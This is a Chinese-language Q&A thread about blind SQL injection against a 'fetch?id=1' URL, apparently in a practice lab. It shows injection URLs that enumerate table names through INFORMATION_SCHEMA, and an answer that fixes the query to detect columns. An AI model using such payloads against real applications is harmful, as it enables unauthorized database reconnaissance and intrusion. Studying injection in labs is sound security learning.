【问题标题】:Knowing if a specific column exists or not知道特定列是否存在
【发布时间】:2019-07-22 19:51:04
【问题描述】:

您好, 输入以下网址时(仅用于学习目的),我可以看到 id=1 的图像。

所以我尝试了这个来查找数据库中一些表的名称,并且成功了。这可以检测是否存在以'albu'开头的表:

http://35.227.24.107:5001/d0510b3060/fetch?id=1 AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE 'albu%')>0; --

但是我怎么知道名称以'albu' 开头的特定列是否存在?我已经试过了,但没有用:

http://35.227.24.107:5001/d0510b3060/fetch?id=1 AND (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME = 'albums' AND column_name LIKE 'albu%')>0; --

请注意:对于我的问题,我知道数据库和表的名称。

【问题讨论】:

  • 但没用是什么意思?
  • INFORMATION_SCHEMA.TABLES 包含有关表的信息,但不包含有关列的信息。这将在 COLUMNS 视图中...

标签: mysql sql web-applications sql-injection


【解决方案1】:

正如Shadow所说,您正在寻找MySQL INFORMATION_SCHEMA.COLUMNS table

SELECT COUNT(*) 
FROM information_schema.columns 
WHERE table_name = 'albums' AND column_name LIKE 'albu%'

注意:您可能还想过滤TABLE_SCHEMA。它采用模式表名来唯一标识数据库中的表。

【讨论】:

    猜你喜欢
    • 2019-11-21
    • 1970-01-01
    • 1970-01-01
    • 2018-09-13
    • 1970-01-01
    • 2015-09-13
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多